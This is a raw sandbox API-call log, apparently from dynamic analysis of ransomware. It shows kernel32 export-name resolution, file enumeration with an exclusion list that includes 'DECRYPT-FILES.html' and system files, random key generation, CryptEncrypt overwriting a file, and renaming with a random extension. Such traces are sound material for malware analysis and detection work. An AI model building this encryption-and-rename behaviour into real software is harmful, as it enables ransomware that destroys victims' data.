returned 16 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0123.080] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0123.080] lstrlenA (lpString="CREATEJOBSET") returned 12 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0123.081] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0123.081] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0123.081] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0123.081] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0123.081] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0123.081] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0123.081] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0123.081] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0123.081] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0123.081] lstrlenA (lpString="CREATEPIPE") returned 10 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0123.081] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0123.081] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0123.081] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0123.081] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0123.081] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0123.081] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0123.081] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0123.081] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0123.081] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0123.082] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0123.082] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0123.082] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0123.082] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0123.082] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0123.082] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0123.082] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0123.082] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0123.082] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0123.082] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0123.082] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0123.082] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0123.082] lstrlenA (lpString="CREATETHREAD") returned 12 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0123.082] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0123.082] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0123.082] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0123.082] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0123.082] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0123.082] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0123.083] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0123.083] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0123.083] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0123.083] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0123.083] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.LOd0I") returned 50 [0123.083] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.LOd0I" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.lod0i"), dwFlags=0x0) returned 1 [0123.084] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.084] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.084] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.084] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0123.084] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0123.084] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0123.084] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0123.084] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0123.085] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0123.085] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0123.085] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0123.085] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0123.085] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0123.085] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0123.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\") returned 27 [0123.085] lstrlenW (lpString="SetupResources.dll") returned 18 [0123.085] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1037\\" | out: lpString1="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0123.085] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" [0123.085] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0123.085] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0123.086] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=16728) returned 1 [0123.086] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0123.086] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0123.312] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0123.312] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0123.313] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0123.313] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0123.314] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0123.314] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.315] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0123.315] CloseHandle (hObject=0x5f8) returned 1 [0123.315] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.315] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0123.316] CloseHandle (hObject=0x0) returned 0 [0123.316] CloseHandle (hObject=0x5f4) returned 1 [0123.317] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.318] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.318] GetTickCount () returned 0x343e0 [0123.318] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0123.318] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0123.318] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0123.319] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0123.319] lstrlenA (lpString="kernel32.dll") returned 12 [0123.319] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0123.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0123.319] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0123.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0123.319] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0123.319] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0123.319] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0123.320] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0123.320] lstrlenA (lpString="ADDATOMA") returned 8 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0123.320] lstrlenA (lpString="ADDATOMW") returned 8 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0123.320] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0123.320] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0123.320] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0123.320] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0123.320] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0123.320] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0123.320] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0123.320] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0123.320] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0123.320] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0123.320] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0123.320] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0123.320] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0123.321] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0123.321] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0123.321] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0123.321] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0123.321] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0123.321] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0123.321] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0123.321] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0123.321] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0123.321] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0123.321] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0123.321] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0123.321] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0123.321] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0123.321] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0123.321] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0123.322] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0123.322] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0123.322] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0123.322] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0123.322] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0123.322] lstrlenA (lpString="BACKUPREAD") returned 10 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0123.322] lstrlenA (lpString="BACKUPSEEK") returned 10 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0123.322] lstrlenA (lpString="BACKUPWRITE") returned 11 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0123.322] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0123.322] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0123.322] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0123.322] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0123.322] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0123.322] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0123.322] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0123.322] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0123.322] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0123.322] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0123.323] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0123.323] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0123.323] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0123.323] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" 